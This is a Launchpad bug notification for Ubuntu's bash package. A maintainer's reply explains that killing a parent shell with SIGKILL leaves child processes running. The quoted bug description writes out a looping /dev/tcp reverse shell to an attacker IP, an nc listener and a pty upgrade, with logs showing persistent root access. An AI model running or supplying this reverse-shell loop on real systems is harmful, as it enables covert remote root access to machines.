[Bug 1857210] Re: process does not close when shell is killed

Wed Jan 8 03:50:53 UTC 2020

Hello Mitch, excellent report, thanks.

This is working as intended.

The Unix process model is complicated, and Linux has added a few
additional complications on top; I'll try to summarize it but it's just
not going to be easy.

When a parent process exits, child processes are not notified by
default. The prctl(2) syscall allows a process to be informed when its
parent exits. There is no easy mechanism for grand-children to be
informed when a grand-parent process exits.

bash will send signals to all currently running jobs when it exits. (You
can ask bash to skip sending a signal to a job by using the 'disown'
shell built-in.) These signals can only be sent if bash continues to run
when exiting -- using 'kill -9' in your example above prevents bash from
sending signals to its children because a process cannot handle SIGKILL.
Try it again with SIGHUP instead of SIGKILL. Processes can ignore or
block the SIGHUP signal that bash will send.

It is expected that killing a parent process may not influence child
processes. If you want to kill a process that has a socket open, you
should kill that process directly. ss(8), lsof(8), fuser(1), etc can
report which processes are using a given socket.

For more details check the signal(7) manpage, bash(1) manpage near
'disown', the prctl(2) manpage near 'PR_SET_PDEATHSIG'. The book
Advanced Programming in the Unix Environment also has an excellent
description of the Unix process lifecycle.

Thanks

-- 
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to bash in Ubuntu.
https://bugs.launchpad.net/bugs/1857210

Title:
  process does not close when shell is killed

Status in bash package in Ubuntu:
  Invalid

Bug description:
  [*] As root user only - use your attacker IP and port of your choice.

      [*] Victim server/client
  while true; do
      0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
      sleep 30
  done

      [*] Attacker Machine
  nc -lvnp 80 #  Or whatever port you plugged into the while loop

  Once the while loop is executed, you can close the shell (do not kill with Control+C) and the while loop will continue to run. You can attempt to run a "Kill -9" on the pid but the thread below will take over as running process. This leaves a hard to detect reverse shell since the while loop continues to run and executes a rooted backdoor call every 30 seconds. Example below:

  [*] Victim
  root at app-server:~# while true; do
  > 0<&196;exec 196<>/dev/tcp/192.168.1.111/9000; sh <&196 >&196 2>&196
  > sleep 30
  > done
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor

  [*] Attacker Machine
  codonnell at codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41640 received!
  whoami
  root

  * Now we close out the terminal on the Victim machine

  We can see the call continues:
  codonnell at codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41644 received!
  whoami
  root
  python -c 'import pty; pty.spawn("/bin/bash")'
  root at app-server:~# 

  Now checking the Victim process, we can see the process, let's kill it:
  codonnell at app-server:~$ ps -aef --forest | less
  ..
  root      1323     1  0 17:42 ?        00:00:00 su
  root      1324  1323  0 17:42 ?        00:00:00  \_ bash
  root      1346  1324  0 17:46 ?        00:00:00      \_ sh
  root      1350  1346  0 17:46 ?        00:00:00          \_ python -c import pty; pty.spawn("/bin/bash")
  root      1351  1350  0 17:46 pts/2    00:00:00              \_ /bin/bash

  codonnell at app-server:~$ kill -9 1323
  codonnell at app-server:~$ ps -aef --forest | less
  ..
  root      1324     1  0 17:42 ?        00:00:00 bash
  root      1346  1324  0 17:46 ?        00:00:00  \_ sh
  root      1350  1346  0 17:46 ?        00:00:00      \_ python -c import pty; pty.spawn("/bin/bash")
  root      1351  1350  0 17:46 pts/2    00:00:00          \_ /bin/bash

  codonnell at app-server:~$ sudo kill -9 1324
  [sudo] password for codonnell: 
  codonnell at app-server:~$ ps -aef --forest | less
  ..
  root      1346     1  0 17:46 ?        00:00:00 sh
  root      1350  1346  0 17:46 ?        00:00:00  \_ python -c import pty; pty.spawn("/bin/bash")
  root      1351  1350  0 17:46 pts/2    00:00:00      \_ /bin/bash

  We can see the below thread moves up the chain. All while I am on the system:

  codonnell at app-server:~$ sudo kill -9 1346
  codonnell at app-server:~$ ps -aef --forest | less
  ..
  root      1350     1  0 17:46 ?        00:00:00 python -c import pty; pty.spawn("/bin/bash")
  root      1351  1350  0 17:46 pts/2    00:00:00  \_ /bin/bash

  codonnell at app-server:~$ sudo kill -1350
  codonnell at app-server:~$ ps -aef --forest | less

  The kill -9 is now killed the Attacker shell and the while loop has
  ended.

  codonnell at codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41644 received!
  whoami
  root
  python -c 'import pty; pty.spawn("/bin/bash")'
  root at app-server:~#

  My guess is that killing the root process should remove the below threads to avoid a continuous open backdoor on the server. 

  Tested on RHEL as well, this seems to be specific to the Bash package.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: bash 4.4.18-2ubuntu1.2
  ProcVersionSignature: Ubuntu 4.15.0-72.81-generic 4.15.18
  Uname: Linux 4.15.0-72-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sat Dec 21 17:34:54 2019
  InstallationDate: Installed on 2019-01-31 (324 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=<set>
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: bash
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1857210/+subscriptions